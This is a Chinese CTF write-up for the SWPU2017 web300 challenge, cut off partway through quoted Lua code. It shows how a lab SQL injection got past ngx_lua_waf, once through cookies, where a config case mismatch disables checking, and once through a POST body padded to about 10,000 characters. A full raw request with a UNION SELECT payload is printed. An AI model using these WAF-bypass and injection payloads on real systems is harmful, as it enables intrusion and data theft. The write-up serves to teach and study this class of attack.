<content type="html"><![CDATA[<p>题目描述是原题,找到去年的原题和此题目几乎一样,于是用niexinming师傅的方法做到了注入步骤。<a href="http://blog.csdn.net/niexinming/article/details/52976923" target="_blank" rel="noopener">http://blog.csdn.net/niexinming/article/details/52976923</a> 今年的题目在去年的web-400的基础上加入了ngx_lua_waf,这是一个基于ngx_lua和基于正则的waf。搜索了一下这个waf,发现还不少人在用,必然不是要我们挖0day。正好寻找源码泄露的方式是依赖nginx的配置错误,所以我考虑要在nginx上下手。</p><p>正好前一段时间看了一篇HTTP盲攻击的文章,其中提到了nginx在做反向代理时有时会把nginx不识别的协议名映射为默认的协议名。</p><p><img src="/2017/11/06/SWPU2017-web300-writeup/1.png" alt="1"></p><p>文章:<a href="https://xianzhi.aliyun.com/forum/topic/1011/" target="_blank" rel="noopener">https://xianzhi.aliyun.com/forum/topic/1011/</a></p><p>我试了一下把协议名改成LOL,再在GET中提交数据,被waf拦下。试了下在body中提交数据,被waf拦下。</p><p>但是源码中有这么一段:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">foreach</span>(<span class="keyword">Array</span>(<span class="string">"_POST"</span>,<span class="string">"_GET"</span>,<span class="string">"_COOKIE"</span>) <span class="keyword">as</span> $key){</span><br><span class="line"><span class="keyword">foreach</span>($$key <span class="keyword">as</span> $k => $v){</span><br><span class="line"><span class="keyword">if</span>(is_array($v)){</span><br><span class="line"><span class="keyword">die</span>(<span class="string">"hello,hacker!"</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line">$k[<span class="number">0</span>] !=<span class="string">'_'</span>?$$k = addslashes($v):$$k = <span class="string">""</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>用cookie就绕过了waf的防守,我还偷懒直接用去年的payload,连表都没查直接就拿到flag了。一道题做下来才用了两三个小时,想想还挺开心。</p><p><img src="/2017/11/06/SWPU2017-web300-writeup/2.png" alt="2"></p><p>但觉得事情没有这么简单,索性找了Cheery师傅询问标准做法,得知是利用超大的数据包绕过,也就是说正确的做法是:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST /web/riji.php HTTP/1.1</span><br><span class="line">Host: 182.254.133.111</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 10787</span><br><span class="line">Cookie: PHPSESSID=uf17kcvtfkaso356n8qf51e3a5</span><br><span class="line">Connection: close</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line"></span><br><span class="line">id=-1 union select 1,2,(select flag from flag)&f=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span><br></pre></td></tr></table></figure><p>用变异请求头的方法绕过waf其实不用改也可以,据师傅说,在waf文件中init.lua</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CookieCheck = optionIsOn(cookieMatch)</span><br></pre></td></tr></table></figure><p>和config.lua第6行</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CookieMatch=<span class="string">"on"</span></span><br></pre></td></tr></table></figure><p>中的CookieMatch大小写不匹配导致Cookie的waf开启失败。我遂去github上看下源码,果真如此,也许别有心意。</p><p>重点是师傅的绕过方式比较有趣,为什么可以用超大的数据包绕过waf呢?师傅说超大的数据包会缓存为文件,绕过waf的检查,待他研究过后会发文。我大致看了下他说的方法找了些资料</p><blockquote><h4 id="读取请求体"><a href="#读取请求体" class="headerlink" title="读取请求体"></a>读取请求体</h4><p>请求体的读取一般发生在nginx的content handler中,一些nginx内置的模块,比如proxy模块,fastcgi模块,uwsgi模块等,这些模块的行为必须将客户端过来的请求体(如果有的话)以相应协议完整的转发到后端服务进程,所有的这些模块都是调用了ngx_http_read_client_request_body()接口来完成请求体读取。值得注意的是这些模块会把客户端的请求体完整的读取后才开始往后端转发数据。</p><p>由于内存的限制,ngx_http_read_client_request_body()接口读取的请求体会部分或者全部写入一个临时文件中,根据请求体的大小以及相关的指令配置,请求体可能完整放置在一块连续内存中,也可能分别放置在两块不同内存中,还可能全部存在一个临时文件中,最后还可能一部分在内存,剩余部分在临时文件中。下面先介绍一下和这些不同存储行为相关的指令:</p><table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>client_body_buffer_size</td><td>设置缓存请求体的buffer大小,默认为系统页大小的2倍,当请求体的大小超过此大小时,nginx会把请求体写入到临时文件中。可以根据业务需求设置合适的大小,尽量避免磁盘io操作;</td></tr></tbody></table></blockquote><p>在lua_nginx模块中t/024-access/auth.t文件中设置此变量</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">client_body_buffer_size <span class="number">100</span>k;</span><br></pre></td></tr></table></figure><p>这里既然设置了100k,就不应该10000的长度就可以绕过,这里等待师傅的文章了。</p><p>另外在waf.lua中</p><p>waf.lua中</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">local</span> content_length=<span class="built_in">tonumber</span>(ngx.req.get_headers()[<span class="string">'content-length'</span>])</span><br><span class="line"><span class="keyword">local</span> method=ngx.req.get_method()</span><br><span class="line"><span class="keyword">local</span> ngxmatch=ngx.re.<span class="built_in">match</span></span><br><span class="line"><span class="keyword">if</span> whiteip() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> blockip() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> denycc() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> ngx.var.http_Acunetix_Aspect <span class="keyword">then</span></span><br><span class="line"> ngx.<span class="built_in">exit</span>(<span class="number">444</span>)</span><br><span class="line"><span class="keyword">elseif</span> ngx.var.http_X_Scan_Memo <span class="keyword">then</span></span><br><span class="line"> ngx.<span class="built_in">exit</span>(<span class="number">444</span>)</span><br><span class="line"><span class="keyword">elseif</span> whiteurl() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> ua() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> url() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> args() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> cookie() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">elseif</span> PostCheck <span class="keyword">then</span></span><br><span class="line"> <span class="keyword">if</span> method==<span class="string">"POST"</span> <span class="keyword">then</span> </span><br><span class="line"> <span class="keyword">local</span> boundary = get_boundary()</span><br><span class="line"> <span class="keyword">if</span> boundary <span class="keyword">then</span></span><br><span class="line"> <span class="keyword">local</span> <span class="built_in">len</span> = <span class="built_in">string</span>.<span 